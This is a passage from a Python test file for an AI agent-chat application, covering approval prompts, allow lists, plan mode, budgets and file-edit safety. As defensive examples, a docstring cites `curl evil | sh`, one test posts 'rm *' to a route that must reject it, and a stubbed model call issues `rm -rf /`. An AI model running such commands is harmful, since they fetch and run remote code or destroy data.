|
permission -- an entry matching `git status; curl evil | sh` would be the
|
|
whole ballgame. The action is still allowed this once; it is not remembered.
|
|
"""
|
|
chat, _profile = _setup(db, user_id, machine, mode=policy.MODE_EDIT)
|
|
message_id = _pending_reply(db, chat)
|
|
pause = _approval_pause(chat, message_id, detail="cd build && make")
|
|
try:
|
|
client.post(
|
|
f"/api/chats/{chat.id}/interaction/{pause.id}", data={"verdict": "allow_always"}
|
|
)
|
|
finally:
|
|
generation_service._RUNNING.pop(message_id, None)
|
|
|
|
db.refresh(chat)
|
|
assert tools_service.scoped_allow(chat) == ()
|
|
|
|
|
|
def test_a_plain_allow_remembers_nothing(client, db, registered, user_id, machine):
|
|
"""Only "always" is a standing decision. Allow is once."""
|
|
chat, _profile = _setup(db, user_id, machine, mode=policy.MODE_EDIT)
|
|
message_id = _pending_reply(db, chat)
|
|
pause = _approval_pause(chat, message_id)
|
|
try:
|
|
client.post(
|
|
f"/api/chats/{chat.id}/interaction/{pause.id}", data={"verdict": "allow"}
|
|
)
|
|
finally:
|
|
generation_service._RUNNING.pop(message_id, None)
|
|
|
|
db.refresh(chat)
|
|
assert tools_service.scoped_allow(chat) == ()
|
|
|
|
|
|
def test_the_allow_list_cannot_be_written_through_the_scope_route(
|
|
client, db, registered, user_id, machine
|
|
):
|
|
"""The scope route narrows. Nothing accepts a pattern from a request, which
|
|
is the whole of why a per-chat allow list is safe."""
|
|
chat, _profile = _setup(db, user_id, machine)
|
|
client.post(
|
|
f"/api/chats/{chat.id}/scope", data={"kind": "allow", "name": "rm *", "on": "false"}
|
|
)
|
|
|
|
db.refresh(chat)
|
|
assert tools_service.scoped_allow(chat) == ()
|
|
|
|
|
|
def test_clearing_the_allow_list_empties_it(client, db, registered, user_id, machine):
|
|
chat, _profile = _setup(db, user_id, machine)
|
|
chat.scope_json = {"allow": ["git status", "file_read"]}
|
|
db.commit()
|
|
|
|
response = client.post(f"/api/chats/{chat.id}/allow/clear")
|
|
|
|
assert response.status_code == 200
|
|
assert response.text == "", "the row has to disappear; htmx does not swap on a 204"
|
|
db.refresh(chat)
|
|
assert tools_service.scoped_allow(chat) == ()
|
|
|
|
|
|
async def test_the_credential_is_cleared_when_the_reply_ends(db, user_id, machine, monkeypatch):
|
|
"""A finished Generation lingers five minutes so late followers get the
|
|
final frames. A private key should not linger with it."""
|
|
chat, _profile = _setup(db, user_id, machine, mode=policy.MODE_AUTO)
|
|
message_id = _pending_reply(db, chat)
|
|
|
|
captured = {}
|
|
original = tools_service.context_for
|
|
|
|
def capture(*args, **kwargs):
|
|
context = original(*args, **kwargs)
|
|
captured["context"] = context
|
|
return context
|
|
|
|
monkeypatch.setattr(tools_service, "context_for", capture)
|
|
monkeypatch.setattr(
|
|
generation_service, "stream_chat", _stub_stream([[_text("Nothing to do.")]], [])
|
|
)
|
|
|
|
generation = generation_service.Generation(chat_id=chat.id, message_id=message_id)
|
|
await generation_service._run(generation)
|
|
|
|
assert captured["context"].agent is not None
|
|
assert captured["context"].agent.spec == {}, "the decrypted credential is dropped"
|
|
|
|
|
|
# --- The harness has to be able to name the machine ---------------------------
|
|
def test_the_registry_maps_the_agent_tools_to_their_family(db):
|
|
"""`harness._families` maps an offered tool *name* back to a family to
|
|
decide which fragments apply, and it has no chat to resolve against. Without
|
|
the agent tools listed here, `shell_run` resolves to no family and an agent
|
|
chat is told nothing about the machine it is working on -- the same omission
|
|
that cost custom tools their guidance once already."""
|
|
book = tools_service.registry(db)
|
|
for name in ("shell_run", "file_read", "file_write", "file_list"):
|
|
assert name in book, name
|
|
assert book[name].family == "agent"
|
|
|
|
|
|
async def test_the_harness_says_where_and_under_what_rules(db, user_id, machine):
|
|
from lembas.services import harness
|
|
|
|
chat, _profile = _setup(db, user_id, machine, mode=policy.MODE_MANUAL)
|
|
user = db.get(User, user_id)
|
|
offered = tools_service.resolve_tools(db, chat, user).schemas
|
|
text = harness.compose(db, user, offered, chat)
|
|
|
|
assert "Test box" in text, "which machine"
|
|
assert machine["dir"] in text, "which directory"
|
|
assert "Manual" in text, "what the mode permits"
|
|
# The single most likely cause of "the agent seems stupid": `cd build`
|
|
# followed by `make` fails silently otherwise.
|
|
assert "fresh shell" in text
|
|
|
|
|
|
async def test_an_ordinary_chat_is_told_none_of_it(db, user_id, machine):
|
|
from lembas.services import harness
|
|
|
|
chat, _profile = _setup(db, user_id, machine, kind="chat")
|
|
user = db.get(User, user_id)
|
|
offered = tools_service.resolve_tools(db, chat, user).schemas
|
|
text = harness.compose(db, user, offered, chat)
|
|
|
|
assert "Test box" not in text
|
|
assert "fresh shell" not in text
|
|
|
|
|
|
async def test_an_agent_chat_is_told_to_work_to_an_objective_and_out_loud(
|
|
db, user_id, machine
|
|
):
|
|
"""The two halves of not drifting: name what you are doing, and say what you
|
|
are finding while you do it rather than only at the end."""
|
|
from lembas.services import harness
|
|
|
|
chat, _profile = _setup(db, user_id, machine, mode=policy.MODE_EDIT)
|
|
user = db.get(User, user_id)
|
|
offered = tools_service.resolve_tools(db, chat, user).schemas
|
|
text = harness.compose(db, user, offered, chat)
|
|
|
|
assert "Settle what you are setting out to achieve" in text
|
|
assert "Work out loud" in text
|
|
# And the tool argument that carries the same account per call.
|
|
assert "`why`" in text
|
|
|
|
|
|
async def test_an_ordinary_chat_is_not_asked_to_narrate(db, user_id, machine):
|
|
"""Both are agent-only. In front of a two-line answer, stating an objective
|
|
and announcing each tool call is preamble -- and `core.tools_preamble` says
|
|
the opposite for exactly that reason."""
|
|
from lembas.services import harness
|
|
|
|
chat, _profile = _setup(db, user_id, machine, kind="chat")
|
|
user = db.get(User, user_id)
|
|
offered = tools_service.resolve_tools(db, chat, user).schemas
|
|
text = harness.compose(db, user, offered, chat)
|
|
|
|
assert "Work out loud" not in text
|
|
assert "Settle what you are setting out to achieve" not in text
|
|
|
|
|
|
def _give_a_plan(db, chat):
|
|
"""A plan on the chat, the way `_plan_of` finds one: a message carrying it
|
|
and the chat pointing at that message."""
|
|
from lembas.services import plans
|
|
|
|
message = Message(
|
|
chat_id=chat.id,
|
|
role=ROLE_ASSISTANT,
|
|
content="",
|
|
plan_json=plans.build(title="Fix the parser", steps="Read it\nChange it"),
|
|
)
|
|
db.add(message)
|
|
db.commit()
|
|
chat.plan_message_id = message.id
|
|
db.commit()
|
|
|
|
|
|
async def test_plan_mode_is_not_told_to_use_a_tool_it_does_not_have(db, user_id, machine):
|
|
"""`agent/tools.py` withdraws `plan_update` in Plan mode -- that mode ends
|
|
with `plan_submit` instead. Its guidance was gated on {{plan}}, which is set
|
|
whenever a plan exists in any mode, so a model in Plan mode was told to
|
|
"keep it current with plan_update as you go" about a tool that was not in
|
|
its list, directly under `core.tool_list` saying anything unnamed does not
|
|
exist. The fragment's own hint asserted the two coincided.
|
|
"""
|
|
from lembas.services import harness
|
|
|
|
chat, _profile = _setup(db, user_id, machine, mode=policy.MODE_PLAN)
|
|
_give_a_plan(db, chat)
|
|
user = db.get(User, user_id)
|
|
|
|
offered = tools_service.resolve_tools(db, chat, user)
|
|
assert "plan_update" not in offered.by_name
|
|
|
|
values = harness.context_variables(db, user, offered.schemas, chat)
|
|
# The plan is still shown -- a model that cannot see it cannot submit a
|
|
# better one. Only the instruction to *edit* it goes.
|
|
assert values["plan"]
|
|
assert values["plan_editable"] == ""
|
|
|
|
text = harness.compose(db, user, offered.schemas, chat)
|
|
assert "Fix the parser" in text
|
|
assert "plan_update" not in text
|
|
|
|
|
|
async def test_a_mode_that_has_plan_update_is_still_told_about_it(db, user_id, machine):
|
|
"""The other half, or the gate is just a deletion."""
|
|
from lembas.services import harness
|
|
|
|
chat, _profile = _setup(db, user_id, machine, mode=policy.MODE_EDIT)
|
|
_give_a_plan(db, chat)
|
|
user = db.get(User, user_id)
|
|
|
|
offered = tools_service.resolve_tools(db, chat, user)
|
|
assert "plan_update" in offered.by_name
|
|
|
|
values = harness.context_variables(db, user, offered.schemas, chat)
|
|
assert values["plan_editable"] == values["plan"] != ""
|
|
assert "plan_update" in harness.compose(db, user, offered.schemas, chat)
|
|
|
|
|
|
async def test_an_agent_chat_is_told_its_real_round_budget(db, user_id, machine):
|
|
"""MAX_ROUNDS is one. An agent chat gets hundreds, and telling it one would
|
|
be a false fact about its own budget on every turn."""
|
|
from lembas.services import harness
|
|
|
|
settings_store.update(db, {"max_steps": 25}, key=settings_store.AGENTS)
|
|
chat, _profile = _setup(db, user_id, machine)
|
|
user = db.get(User, user_id)
|
|
values = harness.context_variables(
|
|
db, user, tools_service.resolve_tools(db, chat, user).schemas, chat
|
|
)
|
|
assert values["max_rounds"] == "25"
|
|
|
|
|
|
async def test_an_agent_chat_gets_the_rounds_it_was_promised(db, user_id, machine, monkeypatch):
|
|
"""And is then allowed to use them, which is the half that was missing.
|
|
|
|
The budget sizes the loop and names itself in the out-of-rounds message, and
|
|
the harness above tells the model the same number. But the comparison that
|
|
ends the loop read the global `MAX_ROUNDS` of three. So an agent chat
|
|
allowed forty rounds stopped after three and reported that it had taken
|
|
forty: two wrong answers to "why did it stop", with no way to tell them
|
|
apart from the outside.
|
|
"""
|
|
settings_store.update(db, {"max_steps": 5}, key=settings_store.AGENTS)
|
|
chat, _profile = _setup(db, user_id, machine, mode=policy.MODE_AUTO)
|
|
assistant = Message(chat_id=chat.id, role=ROLE_ASSISTANT, content="", complete=False)
|
|
db.add(assistant)
|
|
db.commit()
|
|
|
|
payloads: list[dict] = []
|
|
|
|
async def stream_chat(_endpoint, payload):
|
|
payloads.append(payload)
|
|
yield {
|
|
"choices": [
|
|
{"delta": {"tool_calls": [{"index": 0, "id": "c1", "function": {
|
|
"name": "file_list", "arguments": '{"path": "."}'}}]}}
|
|
]
|
|
}
|
|
|
|
monkeypatch.setattr(generation_service, "stream_chat", stream_chat)
|
|
|
|
async def _no_title(*_args, **_kwargs):
|
|
return ""
|
|
|
|
monkeypatch.setattr("lembas.services.chat.generate_title", _no_title)
|
|
|
|
generation = generation_service.Generation(chat_id=chat.id, message_id=assistant.id)
|
|
await generation_service._run(generation)
|
|
|
|
# Five rounds that may call tools, the one that notices, and the one asked
|
|
# for an answer with the tools withdrawn.
|
|
assert len(payloads) == 7
|
|
assert "tools" not in payloads[-1]
|
|
assert "after 5 rounds" in generation.tool_events[-1]["error"]
|
|
|
|
|
|
async def test_a_reply_stops_when_it_has_written_too_much(db, user_id, machine, monkeypatch):
|
|
"""The bound that is meant to end a long piece of work.
|
|
|
|
Steps are a runaway backstop now (200), so something has to say when enough
|
|
has been written. Asserted on the loop, not on the wording: the count of
|
|
requests must be far short of the step budget.
|
|
"""
|
|
settings_store.update(
|
|
db, {"max_steps": 200, "max_completion_tokens": 40}, key=settings_store.AGENTS
|
|
)
|
|
chat, _profile = _setup(db, user_id, machine, mode=policy.MODE_AUTO)
|
|
message_id = _pending_reply(db, chat)
|
|
|
|
payloads: list[dict] = []
|
|
monkeypatch.setattr(
|
|
generation_service,
|
|
"stream_chat",
|
|
_stub_stream(
|
|
[[_text("x" * 400), _chunk("file_list", '{"path": "."}')]],
|
|
payloads,
|
|
),
|
|
)
|
|
|
|
async def _no_title(*_args, **_kwargs):
|
|
return ""
|
|
|
|
monkeypatch.setattr("lembas.services.chat.generate_title", _no_title)
|
|
|
|
generation = generation_service.Generation(chat_id=chat.id, message_id=message_id)
|
|
await generation_service._run(generation)
|
|
|
|
assert len(payloads) < 5, "it should have stopped long before the step backstop"
|
|
assert "tokens" in generation.tool_events[-1]["error"]
|
|
|
|
|
|
async def test_the_token_ceiling_fires_on_an_endpoint_that_reports_no_usage(
|
|
db, user_id, machine, monkeypatch
|
|
):
|
|
"""The half that would otherwise be silently broken.
|
|
|
|
`generation.completion_tokens` is only populated when the endpoint sends a
|
|
usage block, and llama.cpp, Ollama and friends never do -- the fallback
|
|
estimate is computed once, in `_run`'s `finally:`, long after the loop that
|
|
needs it. A ceiling reading only the reported figure would work on OpenAI
|
|
and do nothing at all everywhere else. The stub above sends no usage, so
|
|
this asserts the estimate path directly.
|
|
"""
|
|
settings_store.update(
|
|
db, {"max_steps": 200, "max_completion_tokens": 40}, key=settings_store.AGENTS
|
|
)
|
|
chat, _profile = _setup(db, user_id, machine, mode=policy.MODE_AUTO)
|
|
message_id = _pending_reply(db, chat)
|
|
|
|
payloads: list[dict] = []
|
|
monkeypatch.setattr(
|
|
generation_service,
|
|
"stream_chat",
|
|
_stub_stream([[_text("y" * 400), _chunk("file_list", '{"path": "."}')]], payloads),
|
|
)
|
|
|
|
async def _no_title(*_args, **_kwargs):
|
|
return ""
|
|
|
|
monkeypatch.setattr("lembas.services.chat.generate_title", _no_title)
|
|
|
|
generation = generation_service.Generation(chat_id=chat.id, message_id=message_id)
|
|
await generation_service._run(generation)
|
|
|
|
assert not any("usage" in str(p) for p in payloads), "the stub reports no usage"
|
|
assert "tokens" in generation.tool_events[-1]["error"]
|
|
|
|
|
|
async def test_a_zero_ceiling_means_no_ceiling(db, user_id, machine, monkeypatch):
|
|
"""Zero is how an administrator says "no limit", the same as index_chars.
|
|
Read with `or 0` on the wrong side it would silently become 200_000."""
|
|
settings_store.update(db, {"max_completion_tokens": 0}, key=settings_store.AGENTS)
|
|
chat, _profile = _setup(db, user_id, machine, mode=policy.MODE_AUTO)
|
|
user = db.get(User, user_id)
|
|
context = session.resolve(db, chat, user)
|
|
assert context.limits.completion_tokens == 0
|
|
|
|
|
|
# --- Interjecting while it works --------------------------------------------------
|
|
async def test_a_reply_stops_when_the_window_has_no_room_left(
|
|
db, user_id, machine, monkeypatch
|
|
):
|
|
"""The request grows by an assistant turn and a tool turn every round, and
|
|
nothing was watching it: `_maybe_compact` runs once, before the first round.
|
|
The other guard, `max_total_output_bytes`, is a megabyte by default -- about
|
|
260k tokens, larger than the window of nearly every model this talks to -- so
|
|
a long agent reply grew its own request until the endpoint refused it, and
|
|
the reader got an upstream error rather than an explanation."""
|
|
chat, _profile = _setup(db, user_id, machine, mode=policy.MODE_AUTO)
|
|
model = db.scalars(select(Model).where(Model.model_id == chat.model_id)).first()
|
|
model.context_length = 2000
|
|
db.commit()
|
|
|
|
message_id = _pending_reply(db, chat)
|
|
# A command whose output is large enough that two rounds fill the window.
|
|
monkeypatch.setattr(
|
|
generation_service,
|
|
"stream_chat",
|
|
_stub_stream(
|
|
[[_chunk("shell_run", '{"command": "printf \'%s\' ' + "'" + "x" * 3000 + "'\"}")]],
|
|
[],
|
|
),
|
|
)
|
|
|
|
generation = generation_service.Generation(chat_id=chat.id, message_id=message_id)
|
|
await asyncio.wait_for(generation_service._run(generation), timeout=20)
|
|
|
|
budget_events = [e for e in generation.tool_events if e.get("name") == "budget"]
|
|
assert budget_events, "it should stop with an explanation, not run to the step cap"
|
|
assert "context window" in budget_events[0]["error"]
|
|
|
|
|
|
async def test_the_estimate_follows_the_request_round_by_round(
|
|
db, user_id, machine, monkeypatch
|
|
):
|
|
"""It was taken once, before the first round, so on any endpoint that sends
|
|
no usage block the reported prompt was the first round's forever."""
|
|
chat, _profile = _setup(db, user_id, machine, mode=policy.MODE_AUTO)
|
|
message_id = _pending_reply(db, chat)
|
|
monkeypatch.setattr(
|
|
generation_service,
|
|
"stream_chat",
|
|
_stub_stream(
|
|
[
|
|
[_chunk("shell_run", '{"command": "echo one"}', call_id="c1")],
|
|
[_chunk("shell_run", '{"command": "echo two"}', call_id="c2")],
|
|
[_text("Done.")],
|
|
],
|
|
[],
|
|
),
|
|
)
|
|
|
|
generation = generation_service.Generation(chat_id=chat.id, message_id=message_id)
|
|
await asyncio.wait_for(generation_service._run(generation), timeout=20)
|
|
|
|
assert generation.rounds == 3
|
|
# Summed across rounds, so it exceeds any single round's prompt.
|
|
assert generation.prompt_estimate_total > generation.prompt_estimate
|
|
# And what the reply occupies is the last round's prompt, not the total.
|
|
assert generation.context_tokens < generation.prompt_estimate_total
|
|
|
|
|
|
async def test_an_unknown_window_never_stops_a_reply(db, user_id, machine, monkeypatch):
|
|
"""`context_length` of 0 is unknown, not small -- the rule the context
|
|
percentage and automatic compaction already follow."""
|
|
chat, _profile = _setup(db, user_id, machine, mode=policy.MODE_AUTO)
|
|
model = db.scalars(select(Model).where(Model.model_id == chat.model_id)).first()
|
|
model.context_length = 0
|
|
db.commit()
|
|
|
|
message_id = _pending_reply(db, chat)
|
|
monkeypatch.setattr(
|
|
generation_service,
|
|
"stream_chat",
|
|
_stub_stream(
|
|
[
|
|
[_chunk("shell_run", '{"command": "printf \'%s\' ' + "'" + "x" * 3000 + "'\"}")],
|
|
[_text("Done.")],
|
|
],
|
|
[],
|
|
),
|
|
)
|
|
|
|
generation = generation_service.Generation(chat_id=chat.id, message_id=message_id)
|
|
await asyncio.wait_for(generation_service._run(generation), timeout=20)
|
|
|
|
assert not [e for e in generation.tool_events if e.get("name") == "budget"]
|
|
|
|
|
|
async def test_a_queued_prompt_is_taken_in_between_rounds(db, user_id, machine, monkeypatch):
|
|
"""The point of queueing in an agent chat: steering work already under way.
|
|
|
|
An agent that has just finished one loop and is about to start another is
|
|
exactly when "actually, do it the other way" is worth having, and making it
|
|
wait for the whole reply would mean it arrives after the thing it was meant
|
|
to change.
|
|
"""
|
|
from lembas.services import chat as chat_service
|
|
|
|
chat, _profile = _setup(db, user_id, machine, mode=policy.MODE_AUTO)
|
|
message_id = _pending_reply(db, chat)
|
|
chat_service.create_message(
|
|
db, chat, "user", "actually, check the other directory first", queued=True
|
|
)
|
|
|
|
payloads: list[dict] = []
|
|
monkeypatch.setattr(
|
|
generation_service,
|
|
"stream_chat",
|
|
_stub_stream(
|
|
[[_chunk("file_list", '{"path": "."}')], [_text("Done.")]],
|
|
payloads,
|
|
),
|
|
)
|
|
|
|
generation = generation_service.Generation(chat_id=chat.id, message_id=message_id)
|
|
await generation_service._run(generation)
|
|
|
|
# Verbatim, in the user role, with nothing wrapped around it: this genuinely
|
|
# is the person at the keyboard, and quoting it would teach the model that a
|
|
# user turn can be a quotation -- the distinction `execute_plan` relies on.
|
|
assert payloads[1]["messages"][-1] == {
|
|
"role": "user",
|
|
"content": "actually, check the other directory first",
|
|
}
|
|
|
|
|
|
async def test_an_interjection_is_delivered_only_once(db, user_id, machine, monkeypatch):
|
|
"""Marked delivered before the request goes out, so a crash loses it rather
|
|
than asking the same thing twice and letting an agent act on it twice."""
|
|
from lembas.services import chat as chat_service
|
|
|
|
chat, _profile = _setup(db, user_id, machine, mode=policy.MODE_AUTO)
|
|
message_id = _pending_reply(db, chat)
|
|
waiting = chat_service.create_message(db, chat, "user", "one more thing", queued=True)
|
|
|
|
monkeypatch.setattr(
|
|
generation_service,
|
|
"stream_chat",
|
|
_stub_stream(
|
|
[
|
|
[_chunk("file_list", '{"path": "."}')],
|
|
[_chunk("file_list", '{"path": "src"}')],
|
|
[_text("Done.")],
|
|
],
|
|
[],
|
|
),
|
|
)
|
|
|
|
generation = generation_service.Generation(chat_id=chat.id, message_id=message_id)
|
|
await generation_service._run(generation)
|
|
|
|
db.expire_all()
|
|
assert db.get(Message, waiting.id).queued is False
|
|
assert generation.injected_ids == [waiting.id]
|
|
|
|
|
|
async def test_the_reply_sorts_before_the_prompt_it_took_in(db, user_id, machine, monkeypatch):
|
|
"""Otherwise the next request reads "answer, then the question it answered",
|
|
and a small model dutifully answers it a second time."""
|
|
from lembas.services import chat as chat_service
|
|
|
|
chat, _profile = _setup(db, user_id, machine, mode=policy.MODE_AUTO)
|
|
message_id = _pending_reply(db, chat)
|
|
waiting = chat_service.create_message(db, chat, "user", "and this", queued=True)
|
|
|
|
monkeypatch.setattr(
|
|
generation_service,
|
|
"stream_chat",
|
|
_stub_stream([[_chunk("file_list", '{"path": "."}')], [_text("Done.")]], []),
|
|
)
|
|
|
|
generation = generation_service.Generation(chat_id=chat.id, message_id=message_id)
|
|
await generation_service._run(generation)
|
|
|
|
db.expire_all()
|
|
reply = db.get(Message, message_id)
|
|
assert reply.created_at > db.get(Message, waiting.id).created_at
|
|
|
|
|
|
# --- Plan mode's artifact ---------------------------------------------------------
|
|
def test_plan_submit_is_offered_only_in_plan_mode(db, user_id, machine):
|
|
"""It ends the reply. A model in Auto mode that proposed a plan instead of
|
|
doing the work would be obeying the wrong instinct at the wrong moment."""
|
|
user = db.get(User, user_id)
|
|
planning, _p = _setup(db, user_id, machine, mode=policy.MODE_PLAN)
|
|
assert "plan_submit" in _offered(db, planning, user)
|
|
|
|
planning.agent_mode = policy.MODE_AUTO
|
|
db.commit()
|
|
assert "plan_submit" not in _offered(db, planning, user)
|
|
|
|
|
|
async def test_a_plan_ends_the_reply_and_lands_on_the_message(
|
|
db, user_id, machine, monkeypatch
|
|
):
|
|
chat, _profile = _setup(db, user_id, machine, mode=policy.MODE_PLAN)
|
|
message_id = _pending_reply(db, chat)
|
|
|
|
plan = {"title": "Tidy the logs", "steps": ["Read the log", "Rotate it", "Restart"]}
|
|
rounds = [
|
|
[_chunk("plan_submit", _json.dumps(plan))],
|
|
# The model gets one wordless round to explain itself. If it tries to
|
|
# act in it -- as this one does -- there are no tools to act with.
|
|
[_chunk("shell_run", '{"command": "rm -rf /"}'), _text("Here is what I would do.")],
|
|
]
|
|
seen: list[dict] = []
|
|
monkeypatch.setattr(generation_service, "stream_chat", _stub_stream(rounds, seen))
|
|
|
|
generation = generation_service.Generation(chat_id=chat.id, message_id=message_id)
|
|
await asyncio.wait_for(generation_service._run(generation), timeout=10)
|
|
|
|
# A bare `steps` list is still accepted and becomes one phase -- a small
|
|
# model sends it, and refusing would cost a whole round trip.
|
|
assert generation.plan["title"] == "Tidy the logs"
|
|
assert generation.plan["steps"] == plan["steps"]
|
|
assert [t["text"] for t in generation.plan["phases"][0]["tasks"]] == plan["steps"]
|
|
assert len(seen) == 2, "one round to plan, one to say what it proposed"
|
|
assert "tools" not in seen[1], "the second round is offered nothing to act with"
|
|
assert len(generation.tool_events) == 1, "the shell call had no tool to reach"
|
|
|
|
db.expire_all()
|
|
message = db.get(Message, message_id)
|
|
assert message.plan_json["steps"] == plan["steps"]
|
|
# And the chat now points at it, which is what puts the plan in front of the
|
|
# model on the next turn and offers plan_update.
|
|
assert db.get(Chat, chat.id).plan_message_id == message_id
|
|
|
|
|
|
async def test_a_plan_with_no_steps_is_sent_back(db, user_id, machine, monkeypatch):
|
|
chat, _profile = _setup(db, user_id, machine, mode=policy.MODE_PLAN)
|
|
message_id = _pending_reply(db, chat)
|
|
monkeypatch.setattr(
|
|
generation_service,
|
|
"stream_chat",
|
|
_stub_stream(
|
|
[[_chunk("plan_submit", '{"title": "Nothing", "steps": []}')], [_text("Sorry.")]],
|
|
[],
|
|
),
|
|
)
|
|
|
|
generation = generation_service.Generation(chat_id=chat.id, message_id=message_id)
|
|
await asyncio.wait_for(generation_service._run(generation), timeout=10)
|
|
|
|
assert generation.plan is None
|
|
assert generation.tool_events[0]["status"] == "error"
|
|
|
|
|
|
# --- Carrying a plan out ------------------------------------------------------------
|
|
def test_executing_a_plan_switches_to_edit_and_quotes_it(client, db, registered, machine):
|
|
"""Edit, never Auto. The plan was written under a mode where every command
|
|
stopped for approval, and a button that also removed the asking is not the
|
|
button anybody pressed."""
|
|
from sqlalchemy import select as _select
|
|
|
|
user = db.scalar(_select(User))
|
|
chat, _profile = _setup(db, user.id, machine, mode=policy.MODE_PLAN)
|
|
message = Message(
|
|
chat_id=chat.id,
|
|
role=ROLE_ASSISTANT,
|
|
content="Here is what I would do.",
|
|
complete=True,
|
|
plan_json={"title": "Tidy the logs", "steps": ["Read the log", "Rotate it"]},
|
|
)
|
|
db.add(message)
|
|
db.commit()
|
|
|
|
response = client.post(f"/api/chats/{chat.id}/messages/{message.id}/execute-plan")
|
|
assert response.status_code == 200
|
|
|
|
db.refresh(chat)
|
|
assert chat.agent_mode == policy.MODE_EDIT
|
|
|
|
sent = db.scalars(
|
|
_select(Message).where(Message.chat_id == chat.id, Message.role == "user")
|
|
).all()[-1]
|
|
assert "Tidy the logs" in sent.content
|
|
assert "Read the log" in sent.content
|
|
# Quoted rather than stated. A plan whose text came out of a file the model
|
|
# read must not arrive wearing the reader's authority.
|
|
assert sent.content.lstrip().startswith("Carry out the plan you proposed above")
|
|
assert "> " in sent.content
|
|
|
|
|
|
def test_a_message_with_no_plan_cannot_be_executed(client, db, registered, machine):
|
|
from sqlalchemy import select as _select
|
|
|
|
user = db.scalar(_select(User))
|
|
chat, _profile = _setup(db, user.id, machine)
|
|
message = Message(chat_id=chat.id, role=ROLE_ASSISTANT, content="hi", complete=True)
|
|
db.add(message)
|
|
db.commit()
|
|
|
|
assert (
|
|
client.post(f"/api/chats/{chat.id}/messages/{message.id}/execute-plan").status_code
|
|
== 404
|
|
)
|
|
|
|
|
|
# --- Rewind ---------------------------------------------------------------------------
|
|
def test_editing_a_turn_records_that_the_machine_did_not_rewind(
|
|
client, db, registered, machine
|
|
):
|
|
"""The transcript goes back; the project directory does not. Deleting
|
|
somebody's real working tree to match would be far worse than the
|
|
inconsistency, so the model is told instead."""
|
|
from sqlalchemy import select as _select
|
|
|
|
user = db.scalar(_select(User))
|
|
chat, _profile = _setup(db, user.id, machine)
|
|
first = Message(chat_id=chat.id, role="user", content="do a thing", complete=True)
|
|
db.add(first)
|
|
db.commit()
|
|
|
|
assert chat.rewound_at is None
|
|
client.post(
|
|
f"/api/chats/{chat.id}/messages/{first.id}/edit", data={"content": "do another thing"}
|
|
)
|
|
db.refresh(chat)
|
|
assert chat.rewound_at is not None
|
|
|
|
|
|
def test_an_ordinary_chat_records_no_rewind(client, db, registered, machine):
|
|
from sqlalchemy import select as _select
|
|
|
|
user = db.scalar(_select(User))
|
|
chat, _profile = _setup(db, user.id, machine, kind="chat")
|
|
first = Message(chat_id=chat.id, role="user", content="hello", complete=True)
|
|
db.add(first)
|
|
db.commit()
|
|
|
|
client.post(f"/api/chats/{chat.id}/messages/{first.id}/edit", data={"content": "hi"})
|
|
db.refresh(chat)
|
|
assert chat.rewound_at is None
|
|
|
|
|
|
async def test_the_harness_warns_after_a_rewind(db, user_id, machine):
|
|
from datetime import UTC, datetime
|
|
|
|
from lembas.services import harness
|
|
|
|
chat, _profile = _setup(db, user_id, machine)
|
|
user = db.get(User, user_id)
|
|
offered = tools_service.resolve_tools(db, chat, user).schemas
|
|
|
|
assert "was rewound" not in harness.compose(db, user, offered, chat)
|
|
|
|
chat.rewound_at = datetime.now(UTC)
|
|
db.commit()
|
|
text = harness.compose(db, user, offered, chat)
|
|
assert "was rewound" in text
|
|
assert "still there" in text
|
|
|
|
|
|
async def test_a_file_too_large_to_read_whole_is_not_patched_at_all(
|
|
db, user_id, machine, tmp_path
|
|
):
|
|
"""The write path replaces, and the read path truncates, so patching a file
|
|
larger than the ceiling wrote back its beginning and deleted the rest --
|
|
silently, and reported as a success with a byte count. The same rule Canvas
|
|
already follows: a truncated read is read-only.
|
|
"""
|
|
target = tmp_path / "project" / "big.txt"
|
|
original = "alpha\nbeta\n" + ("filler line\n" * 6000)
|
|
target.write_text(original)
|
|
context = _context(db, user_id, machine)
|
|
|
|
await tools_service.run_tool(context, "file_read", '{"path": "big.txt"}')
|
|
assert len(original) > context.agent.max_output, "the fixture has to exceed the ceiling"
|
|
|
|
outcome = await tools_service.run_tool(
|
|
context,
|
|
"file_edit",
|
|
_json.dumps({"path": "big.txt", "patch": "@@ -1,2 +1,2 @@\n alpha\n-beta\n+BETA\n"}),
|
|
)
|
|
|
|
assert outcome.event["status"] == "error"
|
|
assert "too large to patch" in outcome.content
|
|
assert target.read_text() == original, "and above all, nothing was written"
|
|
|
|
|
|
async def test_an_unreadable_file_says_so_rather_than_reading_as_empty(
|
|
db, user_id, machine, tmp_path
|
|
):
|
|
"""`_current` answers "" for a file it cannot read, which is right for
|
|
file_write -- that file is about to be created. Patching against it reported
|
|
a context mismatch "past the end of the file", so a model was told an
|
|
unreadable file was an empty one, and the way out of that is to rewrite it
|
|
whole.
|
|
"""
|
|
target = tmp_path / "project" / "note.txt"
|
|
target.write_text("alpha\nbeta\n")
|
|
context = _context(db, user_id, machine)
|
|
await tools_service.run_tool(context, "file_read", '{"path": "note.txt"}')
|
|
|
|
target.unlink()
|
|
|
|
outcome = await tools_service.run_tool(
|
|
context,
|
|
"file_edit",
|
|
_json.dumps({"path": "note.txt", "patch": "@@ -1,2 +1,2 @@\n alpha\n-beta\n+BETA\n"}),
|
|
)
|
|
|
|
assert outcome.event["status"] == "error"
|
|
assert "past the end of the file" not in outcome.content
|
|
assert "Nothing was written." in outcome.content
|
|
assert not target.exists(), "and it was certainly not created by the attempt"
|
|
|
|
|
|
# --- The jobs chip and panel ---------------------------------------------------
|
|
def _job_row(db, chat_id, job_id, command, status="running", exit_status=None):
|
|
from lembas.db.models import Job
|
|
|
|
row = Job(
|
|
id=job_id, chat_id=chat_id, command=command, status=status, exit_status=exit_status
|
|
)
|
|
db.add(row)
|
|
db.commit()
|
|
return row
|
|
|
|
|
|
def test_the_chip_counts_only_what_is_still_running(client, db, registered, machine):
|
|
"""A job that has finished is still worth listing -- its log is how you find
|
|
out what it did -- but it is not something to be told about."""
|
|
from sqlalchemy import select as _select
|
|
|
|
from lembas.services import settings_store as _settings
|
|
|
|
user = db.scalar(_select(User))
|
|
chat, _profile = _setup(db, user.id, machine, mode=policy.MODE_AUTO)
|
|
_settings.update(db, {"enabled": True, "background_enabled": True}, key=_settings.AGENTS)
|
|
|
|
_job_row(db, chat.id, "a" * 12, "sleep 900")
|
|
_job_row(db, chat.id, "b" * 12, "make", status="done", exit_status=0)
|
|
|
|
html = client.get(f"/api/chats/{chat.id}/jobs").text
|
|
|
|
assert "1 job" in html
|
|
assert "2 job" not in html
|
|
|
|
|
|
def test_the_chip_keeps_polling_when_nothing_is_running(client, db, registered, machine):
|
|
